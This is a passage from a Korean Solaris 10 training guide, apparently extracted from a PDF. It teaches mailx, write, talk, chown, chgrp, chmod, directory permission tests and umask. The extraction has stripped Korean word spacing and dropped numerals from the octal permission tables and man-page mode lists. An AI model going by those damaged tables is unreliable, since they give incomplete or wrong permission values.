115 Solaris 10 Essential Guide 4. Solaris Basic Commands l 사용자와통신할수있는명령어 l l l mailx CMD 사용자에게메일전송 write CMD 사용자에게메시지전달 talk CMD 사용자와양방향통신 관리자가일반사용자와통신할수있는방법은여러가지가존재한다. mailx 명령어를사용하여메일을전송할수도있다. write 명령어를통해특정한사용자에게원하는메세지를전달할수도있고 talk 명령어를통해대화요청을할수도있다. 위의명령어들외에도 wall, rwall 등여러가지명령어가존재한다

116 mail/mailx 명령어 NAME mailx - interactive message processing system DESCRIPTION The mail utilities listed above provide a comfortable, flexible environment for sending and receiving mail messages electronically. The mail utilities listed above provide a comfortable, flexible environment for sending and receiving mail messages electronically. When reading mail, the mail utilities provide commands to facilitate saving, deleting, and responding to messages. When sending mail, the mail utilities allow editing, reviewing and other modification of the message as it is entered. Incoming mail is stored in a standard file for each user, called the mailbox for that user. When the mail utilities are called to read messages, the mailbox is the default place to find them. As messages are read, they are marked to be moved to a secondary file for storage, unless specific action is taken, so that the messages need not be seen again.this secondary file is called the mbox and is normally located in the user's HOME directory (see MBOX in ENVIRON- MENT VARIABLES for a description of this file). Messages can be saved in other secondary files named by the user. Messages remain in a secondary file until forcibly removed. The user can access a secondary file by using the -f option. Messages in the secondary file can then be read or otherwise processed using the same Commands as in the primary mailbox. This gives rise within these pages to the notion of a current mailbox. OPTIONS -H Print header summary only. -s subject Set the Subject header field to subject. subject should be enclosed in quotes if it contains embedded white space. -u user Read user's mailbox. This is only effective if user's mailbox is not read protected. -V Print the mailx version number and exit. -v Pass the -v flag to sendmail(1m). mailx 명령어는메일을전송하거나받은메일을확인할때사용한다. 메일을전송할때는반드시받을메일사용자의이메일주소를입력해야하고, mailx 명령어의특별한옵션이나인자가없다면, 받은메일을확인할때사용한다. mailx 명령어는서버시스템을관리하는관리자들에게는유용한명령어이다. 여러대각각의서버정보 ( 이상유무 ) 를서버관리자가출근하기전에관리자에게메일을보내놓도록스케줄러에등록해놓는다면관리자는출근후에각각의서버에들어가보지않아도이전까지의상태를한눈에확인할수있게된다. 따라서유닉스서버관리자는 mailx 명령어를적절하게사용할수있어야한다. ( 명령어형식 ) # mailx /* 자신의메일확인 */ # mailx -H -u user01 /* 지정된사용자의메일을확인 */ # mailx -s "Test Mail" root@example.com < report.txt

117 [EX1] 메일보내기 / 받기실습 # mailx user01 /* user01 사용자에게메일전송, 이메일주소 : user01@paran.com */ Subject : Test Mail Hello Test <CTRL + D> or <.> <----- "Test Mail" 입력 <----- 메일내용입력 # su - user01 /* user01 사용자로스위칭 */ $ mailx... >N 2 Super-User Mon Jan 14 19:32 17/722 Mail TEST? 2 <----- '2' 입력 Message 2: From root@solaris254.example.com Mon Jan 14 19:32: Date: Mon, 14 Jan :32: (KST) From: Super-User <root@solaris254.example.com> To: user01@solaris254.example.com Subject: Mail for TEST Hello, user01? q <----- 'q' 입력 $ exit # [EX2] paran.com/daum.net 메일보내기 # mailx jang4sc@paran.com Subject : Test Mail <----- "Test Mail" 입력 Hello, Solaris Instructor <----- 메일내용입력 <CTRL + D> or <.> -> 에서메일확인

118 ( 주의 ) mailx 명령어를통해서메일을보내기위해서는다음과같이호스트의이름이설정이메일주소를쓰는형식과같이선언되어있어야한다. 선언이되어있지않다면 "solaris254.example.com" ( 긴형태의별칭이름 ) 같은부분을선언해줘야한다. # vi /etc/hosts [ 수정전 ] # # Internet host table # ::1 localhost localhost XXX solarisxxx loghost YYY nic2 [ 수정후 ] # # Internet host table # ::1 localhost localhost XXX solarisxxx solarisxxx.example.com loghost YYY nic2 : wq! <----- 'Last Line Mode' 에서작업 만약위와같은설정이없다면부팅시나혹시콘솔창에다음과같은메시지가반복적으로나타나게된다. Sep 9 18:31:22 solaris253 sendmail[303]: unable to qualify my own domain name(solaris253) -- using short name 위의메시지가나타나게되는것은메일주소의형식때문이다. 메일보내는형식이 id@example.com 형식이기때문에, /etc/hosts 파일에긴형태의호스트이름이없는경우 id@solarisxxx 형태로자동으로붙기때문에, 이것은형식에어긋나서에러가발생하게되는것이다. 해결할수있는방법은 (a) /etc/hosts 파일에긴형태의이름을넣거나또는 # vi /etc/hosts # svcadm restart sendmail (b) sendmail 데몬을뜨지못하도록설정해야한다. # svcadm disable sendmail

119 write 명령어 NAME write - write to another user SYNOPSIS write user [terminal] DESCRIPTION The write utility reads lines from the user's standard input and writes them to the terminal of another user. When first invoked, it writes the message: Message from sender-login-id (sending-terminal) [date]... to user. When it has successfully completed the connection, the sender's terminal will be alerted twice to indicate that what the sender is typing is being written to the recipient's terminal. If the recipient wants to reply, this can be accomplished by typing write sender-login-id [sending-terminal] upon receipt of the initial message. Whenever a line of input as delimited by a NL, EOF, or EOL special character is accumulated while in canonical input mode, the accumulated data will be written on the other user's terminal. write 명령어는현재서버에접속한다른사용자에게메시지를보낼때사용한다. 메시지를보낼때만사용할수있으며, 양방향통신은가능하지않는다. user > user02 user01 <----- user02 ( 명령어형식 ) # write user01 [EX1] root 사용자가 user01 사용자에게메시지보내기 [TERM1] user01 사용자윈도우 # telnet localhost user01 사용자로로그인 $ [TERM2] root 사용자윈도우 # who user01 사용자검색 # write user01 or # write user01 pts/4 hello solaris <CTRL + D>

120 talk 명령어 NAME talk - talk to another user DESCRIPTION The talk utility is a two-way, screen-oriented communication program. When first invoked, talk sends a message similar to: Message from Talk Daemon@her_machine at time... talk: connection requested by your_address talk: respond with: talk your_address to the specified address. At this point, the recipient of the message can reply by typing: # talk <your_address> Once communication is established, the two parties can type simultaneously, with their output displayed in separate regions of the screen. 유닉스시스템에서사용자끼리통신 ( 메세지를주고받을때 ) 할때사용한다. 다른호스트와통신하기위해서는다른시스템의호스트이름 ( 아이피 ) 이 /etc/hosts 파일에등록이되어있어야한다. talk 명령어를통해대화시에한글입력은가능하지않는다. user01 <-----> user02 ( 메신저기능, 채팅프로그램 ) ( 명령어형식 ) # talk user01@solarisxxx (# talk user01@localhost) # talk user01@solarisxxx pts/5 (talk 서비스실행 ) # svcs -a grep talk /* talk 서비스확인 */ disabled online 10:06:21 svc:/network/talk:default # svcadm enable talk /* talk 서비스 enable */ # svcs -a grep talk /* talk 서비스확인 */ 11:46:27 svc:/network/talk:default [EX1] root 사용자가 user01 사용자에게 talk 신청 [TERM1] user01 사용자윈도우 # telnet localhost user01 사용자로로그인 [TERM2] root 사용자윈도우 # who /* user01 사용자로그인확인 */ # w /* user01 사용자활동량점검 */ # talk user01@localhost /* user01 사용자에게대화요청 */ [TERM1] user01 사용자윈도우 Message from Talk_Daemon@solarisXXX at 20:18... talk: connection requested by root@solaris254. talk: respond with: talk root@solarisxxx talk root@localhost <----- 'talk root@localhost' 입력

121 [EX2] 원격서버간의 talk 명령어수행 ( ) ( ) HostA HostB # svcadm enable talk # svcadm enable talk # vi /etc/hosts # vi /etc/hosts IP1 HostB IP2 HostA # telnet localhost(user01) # talk user01@hostb > < $ talk root@hosta < > 연결초기화 ( 실습과정 ) # svcadm enable talk # vi /etc/hosts (At HostA) (At HostB) solaris201 # talk user01@solaris201 [ 접속이확립됨 ] # svcadm enable talk # vi /etc/hosts solaris200 # telnet localhost -> user01 사용자로로그인 $ Message from Talk_Daemon@solaris253 at 20:38... talk: connection requested by root@solaris202. talk: respond with: talk root@solaris202 talk root@solaris202 <----- 입력 [ 접속이확립됨 ] [ 참고 ] 모든사용자에게메세지전달 wall : 로컬시스템의모든사용자에게메세지전달 (EX: # wall -a /etc/passwd) rwall : 원격시스템의모든사용자에게메세지전달 (svc:/network/rpc/wall:default)

122 Solaris 10 Essential Guide 4. Solaris Basic Commands l 파일의속성정보변경 l l l chown CMD 사용자의소유권변경 chgrp CMD 사용자의그룹권변경 chmod CMD 사용자의퍼미션변경 파일의속성정보변경 (File Attribution Chaging) # ls -l filename -rw-r--r-- 1 user01 staff size Filetype : Mode/Perm : chmod Link Count : ln [V] Ownership : chown Groupship : chgrp Filesize : mtime : touch [V] filename : mv [V] mtime filename 파일의기본적인속성정보를변경하는명령어는 chmod, ln, chown, chgrp, touch 명령어등이다. 파일의퍼미션모드를변경하는명령어는 chmod 이고, 파일의하드링크수를변경하는명령어는 ln 명령어이다. 파일의소유권을변경하는명령어는 chown 명령어이고, 파일의그룹권을변경하는명령어는 chgrp 이다. 파일의 mtime 수정시에는 touch 명령어에 -t 옵션을사용하고, 파일의이름을변경할때는 mv 명령어를사용한다. 유닉스에서기본적으로파일의속성정보를변경할수있는사용자는파일의소유자이다. 파일의소유자가파일에대한속성정보를변경할수있다. 하지만솔라리스에스는소유자에대해서는특별한설정이필요하다

123 chown 명령어 NAME chown - change file ownership DESCRIPTIONS The chown utility sets the user ID of the file named by each file to the user ID specified by owner, and, optionally, sets the group ID to that specified by group. If chown is invoked by other than the super-user, the setuser-id bit is cleared. Only the owner of a file (or the super-user) can change the owner of that file. The operating system has a configuration option {_POSIX_CHOWN_RESTRICTED}, to restrict ownership changes. When this option is in effect the owner of the file is prevented from changing the owner ID of the file. Only the super-user can arbitrarily change owner IDs whether or not this option is in effect. To set this configuration option, include the following line in /etc/system: set rstchown = 1 To disable this option, include the following line in /etc/system: set rstchown = 0 {_POSIX_CHOWN_RESTRICTED} is enabled by default. See system(4) and fpathconf(2). Only the owner of a file (or the super-user) may change the owner of that file. OPTIONS -R Recursive. chown descends through the directory, and any subdirectories, setting the specified ownership ID as it proceeds. When a symbolic link is encountered, the owner of the target file is changed, unless the -h or -P option is specified. However, no recursion takes place, unless the -H or -L option is specified. chown 명령어는파일 / 디렉토리의 ownership 을변경하는명령어다. chown 명령어는사용자의이름이나 UID 번호모두쓰는것이가능하다. 사용자이름에대한 UID 번호정보는 /etc/passwd 파일에정의되어있다. chown 명령어에 -R 옵션을사용하여디렉토리를지정하면, 디렉토리를포함하여그하위의모든파일 / 디렉토리는모두같은 ownership 으로변경이가능하다. 유닉스에서는파일의속성정보를변경할수있는사용자 ( 예 : 파일의소유자변경 ) 는그파일의소유자만이변경이가능하다. 솔라리스에서는파일의소유자를그파일의소유자가기본적으로변경할수없다. ( 단, 관리자제외 ) 이런경우관리자가 /etc/system 파일에 rstchown 커널패러미터를변경하면사용자가자신의파일소유권을변경할수있다. /etc/system 파일변경시에는리부팅이필요하다. # ls l filename -rw-r--r-- 1 user01 staff... filename ( 명령어형식 ) # chown user02 filename /* 파일의소유권을 user02로변경 */ # chown UID filename /* 사용자이름대신 UID 번호를사용 */ # chown user02:other filename /* 파일의소유권과그룹권을모두변경 */ # chown user02.other filename: X # chown -R user02 dir01 /* 디렉토리하위의모든파일의소유권설정 */ # chown -R user02:other dir01 /* 디렉토리하위의모든파일의소유권과그룹권을모두변경 */

124 [EX1] chown 명령어실습 ( 실습준비 ) # cd /test # rm -r /test/* # touch file1 # ls -l file1 -rw-r--r-- 1 root root 0 Nov 11 15:33 file1 (chown user01 filename 형식실습 ) # chown user01 file1 /* file1 의소유자변경 */ # ls -l -rw-r--r-- 1 user01 root 0 Nov 11 15:33 file1 (chown user01:staff filename 형식실습 ) # chown user02:staff file1 /* file1 의소유자와그룹변경 */ # ls -l -rw-r--r-- 1 user02 staff 0 Nov 11 15:33 file1 [EX2] chown -R 명령어실습 ( 실습준비 ) l 현재디렉토리 : /test /test/dir dir dir file file2 (chown -R user01:other dir 형식실습 ) # cd /test # chown -R user01:10 dir1 (# chown -R user01:staff dir1) # ls -lr -> 출력정보생략

125 chgrp 명령어 NAME chgrp - change file group ownership DESCRIPTION The chgrp utility will set the group ID of the file named by each file operand to the group ID specified by the group operand. For each file operand, it will perform actions equivalent to the chown(2) function, called with the following arguments: o The file operand will be used as the path argument. o The user ID of the file will be used as the owner argument. o The specified group ID will be used as the group argument. Unless chgrp is invoked by a process with appropriate privileges, the set-user-id and set-group-id bits of a regular file will be cleared upon successful completion; the set-user-id and set-group-id bits of other file types may be cleared. The operating system has a configuration option _POSIX_CHOWN_RESTRICTED, to restrict ownership changes. When this option is in effect, the owner of the file may change the group of the file only to a group to which the owner belongs. Only the super-user can arbitrarily change owner IDs, whether or not this option is in effect. To set this configuration option, include the following line in /etc/system: set rstchown = 1 To disable this option, include the following line in /etc/system: set rstchown = 0 _POSIX_CHOWN_RESTRICTED is enabled by default. See system(4) and fpathconf(2). OPTIONS -R Recursive. chgrp descends through the directory, and any subdirectories, setting the specified group ID as it proceeds. When a symbolic link is encountered, the group of the target file is changed, unless the -h or -P option is specified. However, no recursion takes place, unless the -H or -L option is specified. chgrp 명령어는파일의그룹권을변경하는명령어이다. chgrp 명령어에도 chown 명령어처럼 -R 옵션이존재한다. chgrp 명령어다음에그룹이름이나 GID 번호모두사용가능하다. 그룹이름에대한 GID 번호는 /etc/group 파일안에정의되어있다. 유닉스에서는파일의속성정보를변경할수있는사용자 ( 예 : 파일의그룹변경 ) 는그파일의소유자만이변경이가능하다. 솔라리스에서는파일의그룹을그파일의소유자가기본적으로변경할수없다. ( 단, 관리자제외 ) 이런경우관리자가 /etc/system 파일에 rstchown 커널패러미터를변경하면사용자가자신의파일그룹권을변경할수있다

126 # ls -l filename -rw-r--r-- 1 user01 other... filename ( 명령어형식 ) # chgrp staff filename /* 그룹 (other -> staff) 을변경 */ # chgrp GID filename /* 그룹이름대신 GID 번호를사용할수도있음 */ # chgrp -R staff dir01 /* 디렉토리와하위의모든파일에대해서그룹이름변경 */ [EX1] chgrp 명령어실습 # cd /test/dir1 # ls -l file1 -rw-r--r-- 1 user02 staff 0 Nov 11 15:33 file1 # chgrp other file1 /* 파일의그룹을변경 */ # ls -l -rw-r--r-- 1 user02 other 0 Nov 11 15:33 file1 [ 참고 ] chgrp & chown 명령어비교 # chgrp other file1 = # chown user01:other file

127 chmod 명령어 NAME chmod - change the permissions mode of a file DESCRIPTION The chmod utility changes or assigns the mode of a file. The mode of a file specifies its permissions and other attributes. The mode may be absolute or symbolic. Absolute Mode An absolute mode specification has the following format: chmod [options] absolute-mode file... where absolute-mode is specified using octal numbers nnnn defined as follows: n a number from 0 to 7. An absolute mode is constructed from the OR of any of the following modes: 4000 Set user ID on execution. 20#0 Set group ID on execution if # is 7, 5, 3, or 1. Enable mandatory locking if # is 6, 4, 2, or 0. For directories, files are created with BSD semantics for propagation of the group ID. With this option, files and subdirectories created in the directory inherit the group ID of the directory, rather than of the current process. For directories, the setgid bit can only be set or cleared by using symbolic mode Turn on sticky bit. See chmod(2) Allow read by owner Allow write by owner Allow execute (search in directory) by owner Allow read, write, and execute (search) by owner Allow read by group Allow write by group Allow execute (search in directory) by group Allow read, write, and execute (search) by group Allow read by others Allow write by others Allow execute (search in directory) by others Allow read, write, and execute (search) by others. For directories, the setgid bit cannot be set (or cleared) in absolute mode; it must be set (or cleared) in symbolic mode using g+s (or g-s). Symbolic Mode A symbolic mode specification has the following format: chmod [options] symbolic-mode-list file... where symbolic-mode-list is a comma-separated list (with no intervening whitespace) of symbolic mode expressions of the form: [who] operator [permissions] Operations are performed in the order given. Multiple permissions letters following a single operator cause the corresponding operations to be performed simultaneously. who zero or more of the characters u, g, o, and a

128 operator permission specifying whose permissions are to be changed or assigned: u g o a user's permissions group's permissions others' permissions all permissions (user, group, and other) If who is omitted, it defaults to a, but the setting of the file mode creation mask (see umask in sh(1) or csh(1) for more information) is taken into account. When who is omitted, chmod does not override the restrictions of your user mask. either +, -, or =, signifying how permissions are to be changed: + Add permissions. If permissions are omitted, nothing is added. If who is omitted, add the file mode bits represented by permissions, except for the those with corresponding bits in the file mode creation mask. If who is present, add the file mode bits represented by the permissions. - Take away permissions. If permissions are omitted, do nothing. If who is omitted, clear the file mode bits represented by permissions, except for those with corresponding bits in the file mode creation mask. If who is present, clear the file mode bits represented by permissions. = Assign permissions absolutely. If who is omitted, clear all file mode bits; if who is present, clear the file mode bits represented by who. If permissions are omitted, do nothing else. If who is omitted, add the file mode bits represented by permissions, except for the those with corresponding bits in the file mode creation mask. If who is present, add the file mode bits represented by permissions. Unlike other symbolic operations, = has an absolute effect in that it resets all other bits represented by who. Omitting permissions is useful only with = to take away all permissions. any compatible combination of the following letters: l r s t w x X mandatory locking read permission user or group set-id sticky bit write permission execute permission execute permission if the file is a

129 u,g,o directory or if there is execute permission for one of the other user classes indicate that permission is to be taken from the current user, group or other mode respectively. Permissions to a file can vary depending on your user identification number (UID) or group identification number (GID). Permissions are described in three sequences each having three characters: User Group Other rwx rwx rwx This example (user, group, and others all have permission to read, write, and execute a given file) demonstrates two categories for granting permissions: the access class and the permissions themselves. The letter s is only meaningful with u or g, and t only works with u. Mandatory file and record locking (l) refers to a file's ability to have its reading or writing permissions locked while a program is accessing that file. In a directory which has the set-group-id bit set (reflected as either -----s--- or -----l- -- in the output of 'ls -ld'), files and subdirectories are created with the group-id of the parent directory-not that of current process. It is not possible to permit group execution and enable a file to be locked on execution at the same time. In addition, it is not possible to turn on the set-group-id bit and enable a file to be locked on execution at the same time. The following examples, therefore, are invalid and elicit error messages: chmod g+x,+l file chmod g+s,+l file Only the owner of a file or directory (or the super-user) can change that file's or directory's mode. Only the super-user can set the sticky bit on a non-directory file. If you are not super-user, chmod masks the sticky-bit but does not return an error. In order to turn on a file's set-group-id bit, your own group ID must correspond to the file's and group execution must be set. NOTES Absolute changes do not work for the set-group-id bit of a directory. You must use g+s or g-s. chmod permits you to produce useless modes so long as they are not illegal (for instance, making a text file executable). chmod does not check the file type to see if mandatory locking is meaningful. If the filesystem is mounted with the nosuid option, setuid execution is not allowed

130 솔라리스환경에서인가되지않은사용자를막아주는것은중요한것이다. 솔라리스는기본적으로시스템에인가되지않은사용자가데이터에관해접근하는것을막아준다. 첫번째인가되지않은사용자에대해제한을두는것은, 로그인을하면 /etc/passwd 와 /etc/shadow 파일을통해사용자에관한인증을한다. /etc/passwd 파일에는사용자의아이디 (ID) 에관한정보를 /etc/shadow 파일에서는사용자의암호 (Password) 를저장하고있다. 두번째인가되지않은데이터에관해제한을두는것은, 파일과디렉토리를만들때기본퍼미션을통해접근에제한을둔다. 솔라리스시스템에대한기초보안에대해다시정리해보면다음과같다. 인증 (Authendication) /etc/passwd, /etc/shadow 파일사용 인가 (Authorization) 파일과디렉토리의퍼미션 ( 모드 ) 사용 chmod 명령어는파일 / 디렉토리의퍼미션모드를변경하는명령어이다. chmod 명령어도 -R 옵션이존재하지만잘사용되지는않는다. 유닉스상에서는기본퍼미션을조정할때사용하는중요한명령어이다. # ls -l filename -rw-r--r-- 1 user01 staff... filename - : file type (-, d, l) rw- : owner perm. r-- : group perm. r-- : other perm. 1 : link count(hard link) user01 : ownership staff : groupship size : bytes mtime : modify time (1) 퍼미션변경방법 l 심볼릭모드방법 (Symbolic Mode) -> # chmod u+s file1 l 옥탈모드방법 (Octal Mode, Absolute Mode)-> # chmod 755 file1 새로만들어진파일이나디렉토리에관해서 chmod 명령어를사용하여퍼미션을변경할수있다. 이때파일이나디렉토리의소유자와관리자 (root) 는이명령어를사용하여퍼미션을변경할수있다. 퍼미션을변경하는방법은일반적으로두가지방법이있다. 심볼릭모드 (Symbolic Mode) 방식과옥탈모드 (Octal Mode) 방식이있다. 심볼릭모드 (Symbolic Mode) 심볼릭모드특별한의미를가지는심볼들을정의하고그심볼들을조합하여퍼미션을변경하는방법이다. 정의되는심볼에관해서는 chmod 명령어부분을참고하기바란다. 옥탈모드 (Octal Mode) 특별한의미를가지는숫자 (8 진수 ) 를조합하여각각의퍼미션을조정하는방식이다. 일반적인유닉스에서는절대모드 (Absolute Mode) 라고도부른다

131 ( ㄱ ) 심볼모드방법 (Symbolic Mode) [ 참고 ] rw-r--r-- : 퍼미션모드 (Permission Mode) 심볼 (Symbol) 들의정의 -> u(user), g(group), o(other), a(all) -> +(plus), -(minors), =(equal) -> r(read), w(write), x(excution) # chmod u + r filename g - w o = x a [EX] 심볼모드를사용한퍼미션변경실습 # touch file1 # ls -l file1 -rw-r--r-- 1 root root 0 Nov 11 12:18 file1 # chmod u+x file1 /* 사용자에게 x 권한부여 */ # chmod g-r file1 /* 그룹에 r 권한빼기 */ # chmod a=rwx file1 /* 모든권한에 rwx 부여 */ # chmod u-r,g+x file1 /* 사용자에게 r 권한빼고, 그룹에 x 권한부여 */ # chmod +x file1 /* 사용자 / 그룹 / 기타에 x 권한부여 */ # chmod go-r file1 /* 그룹 / 기타에서 r 권한뺀다. */ ( ㄴ ) 옥탈모드방법 (Octal Mode) rwx : 7 rw- : 6 r-x : 5 r-- : 4 -wx : 3 -w- : 2 --x : : 0 chmod 755 filename (rwxr-xr-x) [EX1] 옥탈모드 (Octal Mode) 를사용한퍼미션변경방법실습 # touch file1 # ls -l file1 -rw-r--r-- 1 root root 0 Nov 11 12:18 file1 # chmod 744 file1 /* 퍼미션 : rwxr--r-- 설정 */ # chmod 754 file1 /* 퍼미션 : rwxr-xr-- 설정 */ # chmod 775 file1 /* 퍼미션 : rwxrwxr-x 설정 */

132 [ 참고 ] 특정디렉토리하위의몇개의파일퍼미션변경 (1). 특정디렉토리하위의모든퍼미션변경의경우 chmod 명령어에 -R 옵션을사용하는경우는잘사용되지않는경우이며반드시사용해야하는경우 ls 명령어의 -lr 옵션을통해서백업을받아두어야한다. # ls -lr > perm.txt # chmod -R 755 dir01 (2). 특정디렉토리하위의특정파일퍼미션변경의경우 유닉스시스템의디렉토리안에는보통많은파일과많은디렉토리가존재한다. 많은파일 / 디렉토리중에서특정한조건을갖는몇개의파일들 ( 예 : 약 100 개정도 ) 의퍼미션을 640 으로변경하기위해서는 find 명령어와 chmod 명령어를조합해서사용이가능하다. /test/dir01 +- file1 +- file2 +- dir02 - file3 +- dir03 목적 : file* => 640(rw-r-----) # find /test/dir01 -type f # find /test/dir01 -type f -exec chmod 640 {} \; /* 퍼미션 640 : rw-r----- */ # find /test/dir01 -type f -ls [ 참고 ] find + rm, find + chwon, find + chgrp,... # find /test/dir01 -type f -name "*.log" -exec chmod 640 {} \; [ 참고 ] # find /test/dir01 -type f xargs CMD

133 (2) 파일과디렉토리퍼미션의정확한의미 파일과디렉토리의퍼미션제어는 r(read), w(write), x(excute), -(denied) 로이루어진다. read / write / execute 퍼미션이일반파일과디렉토리에주어질때의미의차이가있는다다음표에서자세히나타내었다 dir file 퍼미션심볼파일디렉토리 read write excute r w x 파일의내용을볼수있거나복사할수있다. 파일의내용을수정 ( 추가, 삭제 ) 할수있다. 파일을실행할수있다. ( 쉘스크립트나실행파일인경우 ) 사용자가실행권한을가지고있다면 ls 명령어를사용하여디렉토리내용을볼수있다. 사용자가실행권한을가지고있다면디렉토리안에파일과디렉토리를생성하거나삭제할수있다. 사용자가 cd 명령어를사용하여디렉토리안으로이동할수있다. 파일에대한퍼미션파일에대한퍼미션중 r(read) 권한은편집기 (vi 편집기등 ) 나혹은명령어 (cat, more 등 ) 을통해파일의안의내용을볼수있고, 볼수있으므로복사가가능하다. 파일에대한퍼미션중 w(write) 권한은편집기를사용하여안의내용을추가하거나, 삭제할수있다. 파일에대한퍼미션중 x(excute) 권한은파일이실행할수있는형태 ( 쉘스크립트, 바이너리등 ) 이면실행할수있다. 디렉토리에대한퍼미션디렉토리에퍼미션은기본적으로 x(excute) 권한권한을가지고있어야다른권한이동작을하게된다. 디렉토리에대한퍼미션중 r(read) 권한은디렉토리안에내용을 ls 명령어를통해확인할수있다. 디렉토리에퍼미션중 w(write) 권한은디렉토리안에파일이나디렉토리를생성하고삭제할수있는권한을나타낸다. 디렉토리에퍼미션중 x(excute) 권한은디렉토리안으로 cd 명령어를통해이동할수있음을나타낸다

134 [EX1] 파일퍼미션실습 ( 가정 ) 반드시 user01, user02 사용자가존재해야한다. # grep user /etc/passwd # useradd -m -d /export/home/<user> -s /bin/ksh <USER> # passwd <USER> [TERM1] user01 사용자윈도우 # telnet localhost user01 사용자로로그인 $ echo 1111 > file1 $ ls -l file1 -rw-r--r-- 1 user01 other 4 9 월 12 15:53 file1 [TERM2] user02 사용자윈도우 # telnet localhost user02 사용자로로그인 $ cd ~user01 ($ cd /export/home/user01) $ pwd $ vi file Test for user02 <----- 마지막라인에추가 :wq! "file1" Permission denied :q! <----- Last Line 에서 "wq!" 입력 <----- 파일의내용을넣을수없음 <----- 강제적으로저장하지않고빠져나가기 -rw-r--r-- 1 user01 other 0 mtime file1 A A UID GID V user02 V user02's group $ id -a user01 /* uid=100(user01) gid=1(other) groups=1(other) */ $ id -a user02 /* uid=101(user02) gid=1(other) groups=1(other) */

135 [EX2] 디렉토리퍼미션실습 [TERM1] user01 사용자윈도우 $ mkdir dir1 $ ls -ld dir1 (rwxr-xr-x user01 other) $ chmod 775 dir1 $ ls -ld dir1 (rwxrwxr-x user01 other) $ touch dir1/file2 ~user01 (rwxr-xr-x user01 staff) dir1 (rwxrwxr-x user01 other) +-- file2 (rw-r--r-- user01 staff) [TERM2] user02 사용자윈도우 $ cd ~user01 $ cd dir1 $ rm file2 /* 파일을지울수있다. */ $ mkdir dir2 /* 디렉토리를만들수있다. */

136 [ 참고 ] 디렉토리퍼미션점검 사용자 user02 가홈디렉토리에 dir1, dir2, dir3, dir4, dir5, dir6, dir7, dir8 디렉토리를생성하였다. 그리고 user01, user02 사용자는서로다른그룹에속하도록하였다. 생성된디렉토리하위에서는 filen(n 은번호 ) 이름을가진파일들을 user02 사용자가생성하였다. 그리고디렉토리에대한 Other 퍼미션은디렉토리의순서에맞추어서 rwx(7), rw-(6), r-x(5), r--(4), -wx(3), -w-(2), --x(1), ---(0) 로주었다. user01 사용자가 user02 사용자의디렉토리에접근할때 1 ls 명령어점검, 2 cd 명령어점검, 3 touch 명령어점검등을수행하여나타난것이다. $ ls -l drwxrwxrwx 2 user02 other 512 Mar 26 22:59 dir1 drwxrwxrw- 2 user02 other 512 Mar 26 23:00 dir2 drwxrwxr-x 2 user02 other 512 Mar 26 23:00 dir3 drwxrwxr-- 2 user02 other 512 Mar 26 23:00 dir4 drwxrwx-wx 2 user02 other 512 Mar 26 23:00 dir5 drwxrwx-w- 2 user02 other 512 Mar 26 23:00 dir6 drwxrwx--x 2 user02 other 512 Mar 26 23:00 dir7 drwxrwx--- 2 user02 other 512 Mar 26 23:00 dir8 1 ls 명령어점검 $ ls -l dir1 -rw-r--r-- 1 user02 other 0 Mar 26 22:59 file1 $ ls -l dir2 dir2/file2: Permission denied $ ls -l dir3 -rw-r--r-- 1 user02 other 0 Mar 26 23:00 file3 $ ls -l dir4 dir4/file4: Permission denied $ ls -l dir5 dir5: Permission denied $ ls -l dir6 dir6: Permission denied $ ls -l dir7 dir7: Permission denied $ ls -l dir8 dir8: Permission denied ( 결론 ) rwx, r-x 권한일때만목록을볼수있다. r 권한은 x 권한이있어야만동작한다. 2 cd 명령어점검 $ cd dir1 $ cd../dir2 ksh:../dir2: permission denied $ cd../dir3 $ cd../dir4 ksh:../dir4: permission denied $ cd../dir5 $ cd../dir6 ksh:../dir6: permission denied $ cd../dir7 $ cd../dir8 ksh:../dir8: permission denied

137 ( 결론 ) rwx, r-x, -wx, --x 권한일때만 cd 하여들어갈수있다. 3 touch 명령어점검 $ touch dir1/test $ touch dir2/test touch: dir2/test cannot stat $ touch dir3/test touch: dir3/test cannot create $ touch dir4/test touch: dir4/test cannot stat $ touch dir5/test $ touch dir6/test touch: dir6/test cannot stat $ touch dir7/test touch: dir7/test cannot create $ touch dir8/test touch: dir8/test cannot stat ( 결론 ) rwx, -wx 권한일때만파일을생성할수있다. w 권한은 x 권한이있어야만가능하다. [Q & A] 파일의퍼미션적용순서에대해서? [ 질문 1] root 사용자가만든파일의퍼미션이 647 퍼미션을가지고있다면, 일반사용자가이파일에내용을추가할수있습니까? [ 답변1] 다음테스트를참고하세요. $ ls -l file1 -rw-r--rwx 1 root other 6 Mar 13 16:31 file1 $ id -a uid=4021(user01) gid=1(other) groups=1(other) l 위의설정에서보면 root 사용자의파일을일반사용자 ( 예 : user01) 가파일안에내용을추가할수없습니다. 그것은일반사용자의 GID 가 file1 의 GID 와일치하기때문입니다. 퍼미션적용순서 UID=UID Yes User Permission No GID=GID Yes Group Permission No Other Permission

138 (3) umask CMD NAME umask - get or set the file mode creation mask SYNOPSIS /usr/bin/umask [-S] [mask] sh umask [ooo] csh umask [ooo] ksh umask [-S] [mask] DESCRIPTION The umask utility sets the file mode creation mask of the current shell execution environment to the value specified by the mask operand. This mask affects the initial value of the file permission bits of subsequently created files. If umask is called in a subshell or separate utility execution environment, such as one of the following: (umask 002) nohup umask... find. -exec umask... it does not affect the file mode creation mask of the caller's environment. For this reason, the /usr/bin/umask utility cannot be used to change the umask in an ongoing session. Its usefulness is limited to checking the caller's umask. To change the umask of an ongoing session you must use one of the shell builtins. If the mask operand is not specified, the umask utility writes the value of the invoking process's file mode creation mask to standard output. OPTIONS The following option is supported: -S Produces symbolic output. The default output style is unspecified, but will be recognized on a subsequent invocation of umask on the same system as a mask operand to restore the previous file mode creation mask. 파일을하나만들어서 ls 명령어에 -l 옵션을사용하면보여지는퍼미션이 644 로생성되는가? 744(rwxr--r--) 퍼미션으로생기면안되는것인가? 또는디렉토리를하나만들어서퍼미션을확인해보면 755(rwxr-xr-x) 형태로생성이되어있다. 777(rwxrwxrwx) 로생성되면안되는것인가? 이런파일과디렉토리를생성할때기본적으로생성되는퍼미션을제어하기위한것이 umask 이다. 파일과디렉토리생성시기본퍼미션을조정하기위해서는 umask 값을적당하게수정하면된다. umask 명령어는파일 / 디렉토리를생성할때파일 / 디렉토리의기본퍼미션 (Permission Mode) 를설정할때사용하는값이다. umask 값은 022 가기본값으로파일이생성되면 644 퍼미션으로, 디렉토리가생성되면, 755 퍼미션으로생성이된다. umask 값이 000 으로설정이되어있다면파일은 666, 디렉토리는 777 로생성이된다. 실무에서많이사용되고있는 umask 값은 002, 022, 027 이다. 보안을생각한다면 umask 값을 027 로설정하는것을권장한다. umask 값은환경파일 ( 예 : /etc/profile) 에설정하는것을기본으로한다. umask 값은파일 